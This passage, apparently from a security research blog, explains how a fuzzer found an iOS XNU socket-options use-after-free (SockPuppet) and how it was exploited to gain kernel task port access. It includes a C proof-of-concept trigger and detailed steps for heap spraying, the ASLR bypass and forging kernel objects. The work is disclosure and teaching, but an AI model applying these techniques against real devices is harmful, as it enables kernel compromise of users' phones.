SO_BROADCAST = 0x0020; /* permit sending of broadcast msgs */\n\n... \n \n--- \n \n** \n**\n\nThese changes were the critical ones that led to the highly exploitable testcase. By allowing the fuzzer to explore the setsockopt space much more efficiently, it wasn\u2019t long before it synthesized a testcase that wrote to the freed buffer. When I looked at the crashing input, was stunned to see this in the decoded protobuf data:\n\n \n\n\nset_sock_opt {\n\nlevel: SOL_SOCKET\n\nname: SO_NP_EXTENSIONS\n\nval: \"\\267\\000\\000\\000\\001\\000\\000\\000\"\n\nfd: FD_0\n\n} \n \n--- \n \n** \n**\n\nWhat is that SO_NP_EXTENSIONS option? And why did inserting this syscall into the testcase turn it from a memory disclosure into an exploitable memory corruption? Quickly skimming through the SO_NP_EXTENSIONS handling in XNU I realized that we were hitting this:\n\n \n\n\n#define SONPX_SETOPTSHUT 0x000000001 /* flag for allowing setsockopt after shutdown */ \n \n--- \n \n** \n**\n\nI think every vulnerability researcher can relate to the moment when they realize they have a great bug. This was that moment for me; that comment described the exact scenario I needed to turn my use-after-free-read into a use-after-free-write. Transcribing the full testcase to C yields the following:\n\n \n\n\nint s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\n \n\n\n// Permit setsockopt after disconnecting (and freeing socket options)\n\nstruct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));\n\n \n\n\n// Initialize ip6_outputopts\n\nint minmtu = -1;\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));\n\n \n\n\n// Free ip6_outputopts\n\ndisconnectx(s, 0, 0);\n\n \n\n\n// Write to ip6_outputopts\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu)); \n \n--- \n \n** \n**\n\nIn effect, the fuzzer managed to guess the following syscall:\n\n \n\n\nstruct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx)); \n \n--- \n \n \nI was surprised to see this because I completely expected the use after free to be triggered in another way. What\u2019s really cool about combining grammar based fuzzing with coverage feedback is that specifying the enums that represent the level and name options along with a raw buffer for the \u201cval\u201d field was enough to find this option and set it correctly. This meant the fuzzer guessed the length (8) of val and the data representing SONPX_SETOPTSHUT (low bit set for each little-endian dword). We can infer that the fuzzer tried the SO_NP_EXTENSIONS option many times before discovering that a length of 8 was notable in terms of additional coverage. Then this set_sock_opt message was propagated throughout the corpus as it was mixed with other relevant testcases, including the one that triggered my original bug. Then ensuring two bits in val were set was just a 1 in 4 guess. The same setsockopt call that setup the buggy state was called again to trigger the use after free, which was another shallow mutation made by the protobuf-mutator, just cloning one member of the syscall sequence. Writing effective fuzzers involves a lot of thinking about probability, and you can see how by giving the fuzzer manually-defined structure in just the right places, it managed to explore at an abstraction level that found a great PoC for this bug.\n\n** \n**\n\nI hope you enjoyed this insight into the bug hunting process. For more background about getting started with this fuzzing approach, take a look at [syzkaller](<https://lwn.net/Articles/677764/>) and this [tutorial](<https://github.com/google/fuzzer-test-suite/blob/master/tutorial/structure-aware-fuzzing.md>).\n\n# Exploitation\n\n## How use after free works\n\nThe exploit I\u2019m about to describe uses a single use after free bug to get a safe and reliable arbitrary read, defeat ASLR, do an arbitrary free, and ultimately allow us to build an arbitrary read/write mechanism. That\u2019s a lot of responsibility for one bug, so it\u2019s worth giving a little background into how use-after-frees work for readers who have never exploited one before. I vividly remember when I read a [post by Chris Evans](<https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory-corruption.html>) right here on this blog, called \u201cWhat is a \u2018good\u2019 memory corruption vulnerability?\u201d When I downloaded and ran Chris\u2019s canonical use after free demonstration, and the \u201cexploit\u201d worked the first try on my laptop, I was instantly struck by the simplicity of it. Since then, I\u2019ve written several real world use after free exploits, and they all stem from the same insight: it\u2019s much easier than you would think to reclaim a freed buffer with controlled data. As long as a buffer is not allocated from a specialized pool (PartitionAlloc, a slab heap, etc.), objects of approximately the same size, i.e., in the same size class, will be mixed between different callers of malloc and free. If you can cause arbitrary allocations that are the same size from your freed object\u2019s size class you can be pretty sure that you will reclaim the freed data quickly. This is by design: if memory allocators did not behave this way, applications would lose performance by not reusing cache lines from recently freed allocations. And if you can tell whether or not you succeeded in reclaiming your freed buffer, exploitation is almost deterministic. So then, what makes a good UaF bug? If you can control when you free, when you use the freed allocation, and can safely check whether you\u2019ve reclaimed it (or can massage the heap to make reclaiming deterministic), exploitation will be straightforward. This is at least how a CTF teammate explained it to me, and it still holds today against real targets. The bug we are looking at in this post is one of those bugs, and for that reason, it\u2019s about as \u201cnice\u201d as memory corruption gets.\n\n## Bootstrapping better primitives\n\nGenerally the end goal of binary exploitation is to get arbitrary code execution, sometimes referred to as \u201cshellcode\u201d when that arbitrary code spawns a shell for you on the target system. For iOS, the situation is slightly more complicated with the addition of PAC, which introduces a security boundary between kernel memory R/W and kernel code execution. This means our bug will serve as an entrypoint to get kernel memory R/W using a data-based attack, with code execution left to another layer of exploitation.\n\n** \n**\n\nTo start the exploit, I thought it would be interesting to see what primitives I could build without knowing Mach specifics. Mach and BSD are the Yin and Yang of XNU, representing a dual view of many fundamental kernel objects. For example, a process is represented twice in the kernel: once as a Mach task and once as a BSD proc. My bug occurs in the BSD half, and most exploits end up getting control of a highly privileged Mach port. This means we\u2019ll need to figure out how to manipulate Mach data structures starting from our corruption on the BSD side. At this point I was still only familiar with the BSD part of the kernel, so I started my research there.\n\n** \n**\n\nHere\u2019s the inpcb containing the dangling inp6_outputopts pointer:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj951UbWmv47ile00Xjfkd5UUiRp_iNiUzxJH36qkC3ieu8Cq6jE_E_en6SyR8uQBjQDPrOLwgkQb4g-rFmDTC9Cbi_Eq8Y_ejv5y8SALZ0PLn-Sb2g088ozGnyEbo8b6RAbRUhSf7ibQBsD55O-88O4m7kAn7Npbs4mSsWwjpNzGEADPaNt9fcEDm_/s1135/1-1.png>)\n\nLooking at the getters and setters for these options via [get/set]sockopt, we quickly see that fetching the integers for the minmtu and the prefer_tempaddr fields is straightforward and will let us read data directly out of the freed buffer. We can also freely read 20 bytes from the in6po_pktinfo pointer if we manage to reclaim it. Take a look at this snippet from the ip6_getpcbopt implementation yourself:\n\n** \n**\n\ncase IPV6_PKTINFO:\n\nif (pktopt && pktopt->ip6po_pktinfo)\n\noptdata = (void *)pktopt->ip6po_pktinfo;\n\nelse {\n\n/* XXX: we don't have to do this every time... */\n\nbzero(&null_pktinfo, sizeof (null_pktinfo));\n\noptdata = (void *)&null_pktinfo;\n\n}\n\noptdatalen = sizeof (struct in6_pktinfo); // 20 bytes\n\nbreak;\n\n \n\n\ncase IPV6_USE_MIN_MTU:\n\nif (pktopt)\n\noptdata = (void *)&pktopt->ip6po_minmtu;\n\nelse\n\noptdata = (void *)&defminmtu;\n\noptdatalen = sizeof (int);\n\nbreak;\n\n \n\n\ncase IPV6_PREFER_TEMPADDR:\n\nif (pktopt)\n\noptdata = (void *)&pktopt->ip6po_prefer_tempaddr;\n\nelse\n\noptdata = (void *)&defpreftemp;\n\noptdatalen = sizeof (int);\n\nbreak; \n \n--- \n \n** \n**\n\nip6po_minmtu and ip6po_prefer_tempaddr are adjacent to each other and qword-aligned so if we manage to reclaim this freed struct with some other object containing a pointer we will be able to read out the pointer and defeat ASLR. We can also take advantage of these fields by using them as an oracle for heap spray success. We spray objects containing an arbitrary pointer value we choose at a location that overlaps the in6po_pktinfo field and a magic value in the mintmu field. This way we can repeatedly read out the minmtu field, so if we see our magic value we know it is safe to dereference the pointer in in6po_pktinfo. It is generally safe to read the inp6_outputopts because we know it is already mapped, but not in6po_pktinfo as it could have been reclaimed by some other garbage that points to unmapped or unreadable memory. Before we talk about which object we spray to leak a pointer and how to spray arbitrary data, let\u2019s quickly figure out what primitive we can build from the setsockopt corruption.\n\n** \n**\n\nUnfortunately, the setsockopt path, unlike the getsockopt path, is not as easy to use as it first appears. Most of the relevant options are root only or are highly constrained. This still leaves IPV6_2292PKTINFO/IPV6_PKTINFO as the best option, but in testing and reading the code it appeared impossible to write anything but highly constrained values there. The ipi6_addr field, which looks perfect for writing arbitrary data, must be set to 0 to pass a check that it is unspecified. And the interface index has to be valid, which constrains us to low values. If the interface is 0, it frees the options. This means we can only write 16 null bytes plus a small non-zero 4 byte integer anywhere in memory. That\u2019s certainly enough for exploitation, but what about the free case? As long as you pass in a pktinfo struct containing 20 null bytes, ip6_setpktopt will call ip6_clearpktopts for you, which finally calls FREE(pktopt->ip6po_pktinfo, M_IP6OPT). Remember, in6po_pktinfo is our controlled pointer, so this means we have an arbitrary free. Even better, it\u2019s a bare free, meaning we can free any object without knowing its zone. That\u2019s because FREE is a wrapper for kfree_addr, which looks up the zone on your behalf. To keep late stage exploitation generic, I opted for the arbitrary free primitive over the constrained write primitive.\n\n### Implementing and testing the heap spray\n\nNow that we have an attack plan, it\u2019s just a matter of figuring out a way to spray the heap with controlled data. Fortunately for us, there is already a well-known way to do this via IOSurface, and even better, Brandon Azad (@_bazad) already had some code to do it! After some debugging and integration into my exploit, I had a working \u201cstage 1\u201d abstraction that could read and free an arbitrary address, by reclaiming and checking the minmtu magic value as described above. This IOSurface technique was used as early as 2016 as part of an [in-the-wild exploit chain](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html>) for 10.0.1-10.1.1.\n\n** \n**\n\nWhen testing on different iOS devices and versions, I found that spray behavior was different. What was fast and reliable on one device was unreliable on another. Fortunately, improvements for one device generally benefited all platforms and versions, so I didn\u2019t need to worry about maintaining multiple spray patterns per-platform. Some of the parameters involved here are the number of objects to spray per attempt, how many times to retry, and the order in which to make allocations of both the sprayed and (use-after-)freed socket options. Understanding heap allocator internals across versions and devices would be ideal, but I found experimentation was sufficient for my purposes. This is a CTF insight; I used to solve Linux heap problems by reading glibc and carefully planning out an exploit on paper. A couple years later, the popular approach had shifted (at least for me) to using tools to inspect the state of the heap, and iterating quickly to check how high level modifications to the exploit would change the heap layout. Of course, I didn\u2019t have such tooling on iOS. But by checking the minmtu value, I did have a safe oracle to test spray performance and reliability, so it was quick to iterate by hand. When iOS 12.4 regressed and reintroduced this vulnerability, I tested the exploit against an iPhone XR and found that the spray failed often. But after changing the order in which I did sprays (creating a new dangling pointer after each spray attempt, instead of all at once in the beginning), success became quick and reliable again. I have no doubt that keeping a good understanding of the internals is superior, but treating this like an experimental black box is pretty fun.\n\n** \n**\n\nWhat makes the SockPuppet exploit fast? Other exploits often rely on garbage collection in order to get their freed object reallocated across a zone. Because all of the objects I used were in the same generic size-based zone, I needed fewer allocations to succeed, and I didn\u2019t have to trigger and wait for garbage collection.\n\n## Learning about tfp0\n\nAt this point, I have stretched the initial bug to its limits, and that has given me an arbitrary read and an arbitrary free. With this we can now create a new use after free where there was never a bug in the original code. I took a look around for any cute shallow tricks that others might have overlooked in the BSD part of the kernel tree before accepting that the Mach exploitation path offers some nice facilities for kernel exploitation, and so it was time to learn it.\n\n** \n**\n\nIf you follow iOS kernel exploitation even casually, you\u2019ve probably heard of \u201ctfp0.\u201d So what is it exactly? It\u2019s a short name for task_for_pid, which returns to you a Mach port with a send right to the task with the given pid. When you call it with pid 0, this gives you the kernel task port. A port is one of the fundamental primitives of Mach. It\u2019s like a file descriptor that is used to represent message queues. Every such message queue in the kernel has one receiver, and potentially multiple senders. Given a port name, such as the one returned by task_for_pid, you can send or receive a Mach message to that queue, depending on what rights you have to access it. The kernel_task is like any other task in Mach in that it exposes a task port.\n\n** \n**\n\nWhat\u2019s so great about getting access to the kernel task port? Just take a look at osfmk/mach/mach_vm.defs in the XNU sources. It has calls like mach_vm_allocate, mach_vm_deallocate, mach_vm_protect, and mach_vm_read_overwrite. If we have a send right to a task port, we can read, write, and allocate memory in that process. XNU supports this abstraction for the kernel_task, which means you can use this clean API to manipulate memory in the kernel\u2019s address space. I couldn\u2019t help but feel that every iPhone has this \u201ccheat\u201d menu inside of it, and you have to pass a serious test of your skills to unlock it. You can see why this is so appealing for exploitation, and why I was so excited to try to get ahold of it! Of course, we can\u2019t just call task_for_pid(0) from our unprivileged sandboxed app. But if we can implement this function call in terms of our memory corruption primitives, we\u2019ll be able to pretend we did!\n\n** \n**\n\nTo understand what we need to do to simulate a legitimate tfp0 call, let\u2019s look at how a message we send from our task to another task (perhaps kernel_task) actually looks, starting from the port name (file descriptor equivalent) in userland all the way to message delivery.\n\n** \n**\n\nLet\u2019s start by taking a look at the struct representing a message header:\n\n** \n**\n\ntypedef struct {\n\nmach_msg_bits_t msgh_bits; // \"disposition\", e.g. MACH_MSG_TYPE_COPY_SEND\n\nmach_msg_size_t msgh_size;\n\nmach_port_t msgh_remote_port; // destination port name\n\nmach_port_t msgh_local_port;\n\nmach_port_name_t msgh_voucher_port;\n\nmach_msg_id_t msgh_id;\n\n} mach_msg_header_t; \n \n--- \n \n** \n**\n\nI\u2019ve labeled the important fields above. msgh_remote_port contains the destination port name, which will be the kernel task port name if we have access to it. The msgh_bits specify a number of flags, one of them being the \u201cdisposition\u201d of the message we\u2019re sending for the different port names. If we have the send right to the kernel task port, for example, we\u2019ll set msgh_bits to tell the kernel to copy the send right we have in our IPC space to the message. If this sounds tricky, don\u2019t worry. The main thing to keep in mind is that we name the destination of the message in the header, and we also mark how we want to use the capability we have for it stored in our IPC namespace (mach file descriptor table).\n\n** \n**\n\nWhen we want to send a message from userland, we do a mach trap, the mach equivalent of a syscall, called mach_msg_overwrite_trap. Let\u2019s look at the MACH_SEND_MSG case and follow along, so we find out what we\u2019ll need to arrange in kernel memory for tfp0:\n\n** \n**\n\nmach_msg_return_t mach_msg_overwrite_trap(\n\nstruct mach_msg_overwrite_trap_args* args) {\n\n// ...\n\nmach_msg_return_t mr = MACH_MSG_SUCCESS;\n\nvm_map_t map = current_map();\n\n \n\n\nif (option & MACH_SEND_MSG) {\n\nipc_space_t space = current_space();\n\nipc_kmsg_t kmsg;\n\n \n\n\nmr = ipc_kmsg_get(msg_addr, send_size, &kmsg);\n\n// ...\n\nmr = ipc_kmsg_copyin(kmsg, space, map, override, &option);\n\n// ...\n\nmr = ipc_kmsg_send(kmsg, option, msg_timeout);\n\n// ... \n \n--- \n \n** \n**\n\nIf we want to deliver a message to the kernel task port, we just need to understand how ipc_kmsg_get, ipc_kmsg_copyin, and ipc_kmsg_send work. ipc_kmsg_get simply copies the message from the calling task\u2019s address space into kernel memory. ipc_kmsg_copyin actually does interesting work. Let\u2019s see how it ingests the message header through a call to ipc_kmsg_copyin_header.\n\n** \n**\n\nmach_msg_return_t ipc_kmsg_copyin_header(ipc_kmsg_t kmsg, ipc_space_t space,\n\nmach_msg_priority_t override,\n\nmach_msg_option_t *optionp) {\n\nmach_msg_header_t *msg = kmsg->ikm_header;\n\nmach_msg_bits_t mbits = msg->msgh_bits & MACH_MSGH_BITS_USER;\n\nmach_port_name_t dest_name = CAST_MACH_PORT_TO_NAME(msg->msgh_remote_port);\n\nmach_port_name_t reply_name = CAST_MACH_PORT_TO_NAME(msg->msgh_local_port);\n\n \n\n\nmach_msg_type_name_t dest_type = MACH_MSGH_BITS_REMOTE(mbits);\n\nipc_object_t dest_port = IO_NULL;\n\nipc_port_t dest_soright = IP_NULL;\n\nipc_entry_t dest_entry = IE_NULL;\n\n \n\n\nif (dest_name != reply_name) {\n\n// nedwill: this converts name to ipc_entry_t\n\ndest_entry = ipc_entry_lookup(space, dest_name);\n\nif (dest_entry == IE_NULL) {\n\ngoto invalid_dest;\n\n}\n\n \n\n\n// nedwill: this converts ipc_entry_t to ipc_port_t (and checks capability)\n\nkr = ipc_right_copyin(space, dest_name, dest_entry, dest_type, FALSE,\n\n&dest_port, &dest_soright, &release_port, &assertcnt);\n\nif (kr != KERN_SUCCESS) {\n\ngoto invalid_dest;\n\n}\n\n \n\n\n// ...\n\n}\n\n \n\n\n// ...\n\nmsg->msgh_bits =\n\nMACH_MSGH_BITS_SET(dest_type, reply_type, voucher_type, mbits);\n\nmsg->msgh_remote_port = (ipc_port_t)dest_port;\n\n \n\n\n// ...\n\n} \n \n--- \n \n** \n**\n\nipc_kmsg_copyin_header serves to convert the remote port name into the port object, updating the msg->msgh_remote_port to point to the actual object instead of storing the task-specific name. This is the BSD/Linux equivalent of converting a file descriptor into the actual kernel structure that it refers to. The message header has several name fields, but I\u2019ve simplified the code to highlight the destination case, since we\u2019ll want the kernel_task port to be our destination port. The ipc_space_t space argument represents the IPC space for the current running task, which is the Mach equivalent of the file descriptor table. First, we lookup the dest_name in the IPC space to get the ipc_entry_t representing it. Every ipc_entry_t has a field called ie_bits which contains the permissions our task has to interact with the port in question. Here\u2019s what the IPC entry struct looks like:\n\n** \n**\n\nstruct ipc_entry {\n\nstruct ipc_object *ie_object; // pointer to the ipc_port_t\n\nipc_entry_bits_t ie_bits; // our rights (receive/send/send-once/etc.)\n\nmach_port_index_t ie_index;\n\n...\n\n}; \n \n--- \n \n** \n**\n\nRemember that the header of the message we sent has a \u201cdisposition\u201d for the destination which describes what we want our message to do with the capability we have for the remote port name. Here\u2019s where that actually gets validated and consumed:\n\n** \n**\n\nkern_return_t ipc_right_copyin(ipc_space_t space, mach_port_name_t name,\n\nipc_entry_t entry,\n\nmach_msg_type_name_t msgt_name, boolean_t deadok,\n\nipc_object_t *objectp, ipc_port_t *sorightp,\n\nipc_port_t *releasep, int *assertcntp) {\n\nipc_entry_bits_t bits;\n\nipc_port_t port;\n\n \n\n\n*releasep = IP_NULL;\n\n*assertcntp = 0;\n\n \n\n\nbits = entry->ie_bits;\n\n \n\n\nswitch (msgt_name) {\n\ncase MACH_MSG_TYPE_COPY_SEND: {\n\nif (bits & MACH_PORT_TYPE_DEAD_NAME) goto copy_dead;\n\n \n\n\n/* allow for dead send-once rights */\n\nif ((bits & MACH_PORT_TYPE_SEND_RIGHTS) == 0) goto invalid_right;\n\n \n\n\nport = (ipc_port_t)entry->ie_object;\n\n \n\n\nif ((bits & MACH_PORT_TYPE_SEND) == 0) {\n\nassert(IE_BITS_TYPE(bits) == MACH_PORT_TYPE_SEND_ONCE);\n\nassert(port->ip_sorights > 0);\n\n \n\n\nip_unlock(port);\n\ngoto invalid_right;\n\n}\n\n \n\n\nport->ip_srights++;\n\nip_reference(port);\n\nip_unlock(port);\n\n \n\n\n*objectp = (ipc_object_t)port;\n\n*sorightp = IP_NULL;\n\nbreak;\n\n}\n\n \n\n\ndefault:\n\ninvalid_right:\n\nreturn KERN_INVALID_RIGHT;\n\n}\n\n \n\n\nreturn KERN_SUCCESS;\n\n} \n \n--- \n \n** \n**\n\nHere, I\u2019ve reproduced the code for the MACH_MSG_TYPE_COPY_SEND case. You can see where ie_bits from the IPC entry is used to check the permission we have. If we want to take advantage of the send right in this message, we can copy the right to the message, and this code checks that we have the right in ie_bits before updating the relevant reference counts and finally giving us access to the port object to which we can enqueue messages. If we don\u2019t have the proper permissions according to entry->ie_bits, the attempt to send the message will fail.\n\n** \n**\n\nNow that our message is copied in, validated, and updated to contain real kernel object pointers, ipc_kmsg_send goes ahead and just adds our message to the destination queue:\n\n** \n**\n\nmach_msg_return_t ipc_kmsg_send(ipc_kmsg_t kmsg, mach_msg_option_t option,\n\nmach_msg_timeout_t send_timeout) {\n\nipc_port_t port;\n\nthread_t th = current_thread();\n\nmach_msg_return_t error = MACH_MSG_SUCCESS;\n\nboolean_t kernel_reply = FALSE;\n\n \n\n\nport = (ipc_port_t)kmsg->ikm_header->msgh_remote_port;\n\nassert(IP_VALID(port));\n\nip_lock(port);\n\n \n\n\nif (port->ip_receiver == ipc_space_kernel) {\n\nport->ip_messages.imq_seqno++;\n\nip_unlock(port);\n\n \n\n\nkmsg = ipc_kobject_server(kmsg, option);\n\nif (kmsg == IKM_NULL) return MACH_MSG_SUCCESS;\n\n \n\n\n/* restart the KMSG_INFO tracing for the reply message */\n\nport = (ipc_port_t)kmsg->ikm_header->msgh_remote_port;\n\nassert(IP_VALID(port));\n\nip_lock(port);\n\n/* fall thru with reply - same options */\n\nkernel_reply = TRUE;\n\nif (!ip_active(port)) error = MACH_SEND_INVALID_DEST;\n\n}\n\n \n\n\nif (error != MACH_MSG_SUCCESS) {\n\nip_unlock(port);\n\n} else {\n\n// ...\n\nerror = ipc_mqueue_send(&port->ip_messages, kmsg, option, send_timeout);\n\n}\n\n// ...\n\nreturn error;\n\n} \n \n--- \n \n** \n**\n\nAs you can see above, if the destination port\u2019s ip_receiver is the kernel IPC space, ipc_kobject_server is called as a special case to handle the kernel message. The kernel task port has the kernel IPC space as its ip_receiver, so we\u2019ll make sure to replicate that when we are arranging for tfp0.\n\n** \n**\n\nWhew, that was a lot! Now that we see the essentials behind message sending, we are ready to envision our goal state, i.e., how we want kernel memory to look as if we had called tfp0 successfully. We\u2019ll want to add an IPC entry to our IPC space, with ie_object pointing to the kernel task port, and ie_bits indicating that we have a send right. Here\u2019s how this looks:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgendYjwtKngXi7lho6rG3cXEnHVqkesInTnD78bdpU54MD5UM6RWF-D81j7KT4_QSsqLs_GOPqd6JMebn3zc2jmfyIHZ4Am0FfINmnM9FtZamw9xnEiJ5zN8FD92HBPgEiFSV2zREoZhbkDDrdMOVJNJj8TwCbbWti6dTzis5_qGupLhwZbvUmKaYv/s1074/2-2.png>)\n\nThe green nodes above represent all the data structures that are part of our current task which is running the exploit. The blue node is a fake IPC port that we\u2019ll set up to point to the kernel task and the kernel task\u2019s IPC table. Remember the ie_bits field specifies the permissions we have to interact with the ie_object, so we\u2019ll want to make sure we have a send right to it specified there.\n\n## Defeating ASLR and faking data structures\n\nIPC systems generally need a way to serialize file descriptors and send them over a pipe, and the kernel needs to understand this convention to do the proper accounting. Mach is no exception. Mach ports, like file descriptors, can be sent by one process to another with send rights attached. You can send an out of line port from one process to another using a special message that contains a mach_msg_ool_descriptor_t. If you\u2019d like to send multiple ports in a single message, you can send mach_msg_ool_ports_descriptor_t, an array of ports stored out of line (OOL), meaning outside of the message header itself. We, like many others, will be using the OOL ports descriptor in our exploit.\n\n** \n**\n\nWhat makes the OOL ports array so useful is that you completely control the size of the array. When you pass in an array of mach port names, the kernel will allocate space for an arbitrary number of pointers, each of which is filled with a pointer to the ipc_port structure that we want to send. In case you didn\u2019t notice, we can use this trick as an ASLR bypass as we can overlap an OOL descriptor array of port pointers with the freed buffer of size 192, and simply read the two adjacent int fields from the freed struct via getsockopt. At this point we can start to traverse the kernel data structures with our arbitrary read.\n\n** \n**\n\nMany exploits turn a corruption bug into a read primitive. We have the rare privilege of having a reliable read primitive before we do any corruption, so we use that combined with this pointer disclosure to leak all the relevant pointers to complete the exploit, including setting up crafted data at a known address. We go ahead and do all the necessary traversal now as you can see below.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv7eSfgAfici4UTIIpB7JRQwTJeTFzLV0eZdcgZwXreLmIDKk1AyZ3K1_DGejF8nh8UrFMZG-WB1X4Jam5JJSNpOkQJdyWhXgvrXGSBUqHPYRGlyAr3BL3OUphLnlZkQMhINtMKzW1-FZ524XwQqJo0HSHdpEfouUXVc--_2SM67wnNCejs2sxCk6R/s714/3-3.png>)\n\nThe green nodes above represent the seed values for our exploration, and the orange nodes represent the values we\u2019re trying to find. By spraying a message with an OOL port descriptor array containing pointers to ipc_port structs representing our host port, we find its ipc_port which will give us ipc_space_kernel via the receiver field.\n\n** \n**\n\nWe repeat the same initial trick to find the ipc_port for our own task. From there we find our task\u2019s file descriptor table and use this to find a vtable for socket options and a pipe buffer. The vtable will give us pointers into the kernelcache binary. Because the kernel process\u2019s BSD representation kernproc is allocated globally in bsd/kern/bsd_init.c, we can use a known offset from the socketops table to find it and lookup the address of kernel_task.\n\n** \n**\n\nThe pipe buffer is created by a call to the pipe() syscall, and it allocates a buffer that we can write to and read from via a file descriptor. This is a well known trick for getting known data at a known address. In order to make the fake ipc_port that we\u2019ll inject into our IPC space, we create a pipe and send data to it. The pipe stores queued data into a buffer on the kernel heap, allocated via the generic size-based zones. We can read and write to that buffer repeatedly from userspace by reading and writing to the relevant pipe file descriptors, and that data is stored in kernel memory. By knowing the address of the buffer for our pipe, we can store controlled data there and create pointers to it. We\u2019ll need that to make a crafted ipc_port for the kernel task.\n\n** \n**\n\nSo we can now create our fake ipc_port and point it to the kernel_task and the ipc_space_kernel, right? I should point out now that even if we could call task_for_pid(0) and obtain a kernel_task port, we wouldn\u2019t be able to send messages to it. Any userland task that tries to send a message to the kernel_task will be blocked from doing so when the kernel turns an ipc_port for a task into the task struct. This is implemented in task_conversion_eval:\n\n** \n**\n\nkern_return_t\n\ntask_conversion_eval(task_t caller, task_t victim)\n\n{\n\n/*\n\n* Tasks are allowed to resolve their own task ports, and the kernel is\n\n* allowed to resolve anyone's task port.\n\n*/\n\nif (caller == kernel_task) {\n\nreturn KERN_SUCCESS;\n\n}\n\n \n\n\nif (caller == victim) {\n\nreturn KERN_SUCCESS;\n\n}\n\n \n\n\n/*\n\n* Only the kernel can can resolve the kernel's task port. We've established\n\n* by this point that the caller is not kernel_task.\n\n*/\n\nif (victim == TASK_NULL || victim == kernel_task) {\n\nreturn KERN_INVALID_SECURITY;\n\n}\n\n// ... \n \n--- \n \n** \n**\n\nI use the trick that many others have used, and simply created a copy of the kernel_task object so the pointer comparison they use won\u2019t detect that I\u2019m sending a message to the fake kernel_task object. It doesn\u2019t matter that it\u2019s not the real kernel_task because it\u2019s simple to support the mach_vm_* functions with a fake kernel_task; we simply need to copy the kernel\u2019s kernel_map and initialize a few other fields. You can see in the diagram above that we can simply pull that from the kernel_task, whose address we already know. We\u2019ll store the fake kernel task adjacent to our fake ipc_port in the pipe buffer. For an example of this approach being used in the wild, see [this exploit writeup](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html>) from Ian Beer on the team.\n\n## Injecting our kernel_task port\n\nWe\u2019re now going to use the OOL port descriptor array for another purpose. We send a message to ourselves containing an OOL array containing copies of our task port name, which we have the send right to. The send right validation happens initially when the message is sent, so if we edit the array while it\u2019s waiting to be delivered, we can overwrite one of the ipc_ports to point to our fake kernel_task ipc_port. This trick is adapted from Stefan Esser\u2019s excellent [presentation](<https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core>) on the subject, and has been used in several exploits. Note that an ipc_port has no notion itself of a send or receive right; those rights are tracked as part of the ipc_entry and are handled outside of the ipc_port. This makes sense, because a port encapsulates a given message queue. The rights to send or receive to that queue are specific to each process, so we can see why that information is stored in each process\u2019s table independently.\n\n** \n**\n\nEven though this trick of overwriting a pointer in an OOL port descriptor array is a known exploit technique, it\u2019s up to the exploit developer to figure out how to actually make this corruption happen. We have an arbitrary read and arbitrary free. OOL port descriptor arrays and pipe buffers are allocated out of the global zone. We can combine these facts! Earlier we noted down the address of our pipe buffer. So we just free the pipe buffer\u2019s actual buffer address and spray OOL port descriptor arrays. We then read the pipe buffer looking for our task\u2019s ipc_port, overwriting it with the pointer to our fake port. Then we deliver the message to ourselves and check whether we managed to inject the fake kernel task port.\n\n** \n**\n\nAt this point, we have tfp0. Like voucher_swap and other exploits, we want to use this temporary tfp0 using pipe buffer structures to bootstrap a more stable tfp0. We do this by using the kernel task port to allocate a page of kernel memory dedicated to storing our data, and then using the write primitive to write our fake task port and kernel_task there. We then change our IPC space entry to point to this new ipc_port.\n\n** \n**\n\nWe still have a pipe structure with a dangling pointer to a freed buffer. We don\u2019t want it to double-free when we close the fd, so we use our new stable tfp0 powers to null out that pointer. We essentially did two actions to corrupt memory: free that pointer, and use the new use-after-free pipe buffer to overwrite a single ipc_port pointer, so keeping track of cleanup is fairly straightforward.\n\n** \n**\n\nIf you want to read and test the exploit yourself, you can grab it [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806#c13>).\n\n## Evaluating PAC and MTE\n\nBecause this exploit is based on a memory corruption bug, there\u2019s a lingering question of how it is affected by different mitigations. With the A12 chip, Apple brought PAC (Pointer Authentication) to iOS, which appears to be designed to limit kernel code execution assuming arbitrary kernel read/write among other goals. This sounds like a pretty strong mitigation, and without any real experience I wasn\u2019t sure how exploitation would fare. I was testing on an A9 chip, so I just hoped I wouldn\u2019t do anything in my exploit that would turn out to be mitigated by PAC. This was the case. Because my exploit only targeted data structures and did not involve arbitrary code execution, there were no code pointers to forge.\n\n** \n**\n\niOS 13 is beginning to introduce protections for some data pointers, so it is worthwhile to examine which pointers I would need to forge for this exploit to have worked in the context of data PAC. PAC protects return addresses on the stack from corruption by signing them with a private key and the location of the pointer itself on the stack as a context value. However, other code pointers are signed without a context value. Similarly, the effectiveness of data PAC will likely depend on how Apple chooses to use context values.\n\n** \n**\n\nLet\u2019s consider the situation where all data pointers are protected but not signed with a context based on location. In this scenario we can copy them from one location to another so long as we manage to leak them. This is better known as a \u201cpointer substitution attack,\u201d and has been described by Brandon in his [blog post about PAC](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>).\n\n** \n**\n\nOur read primitive remains effective in the context of data PAC since our dangling pointer is still signed. There are several attacker-sourced pointers we ultimately need to either forge or substitute: ipc_space_kernel, kernel_map, &fake_port, and &fake_task, along with all the intermediate reads needed to find them. Recall that the &fake_port and &fake_task are pointers to pipe buffers. For our initial entrypoint, It doesn\u2019t matter if the pktinfo pointer is protected, because we have to leak a real ipc_port pointer anyways via the OOL ports spray. This means we can collect a signed ipc_port, and do all of the up front data structure traversals we do already, copying the PAC data pointers without a 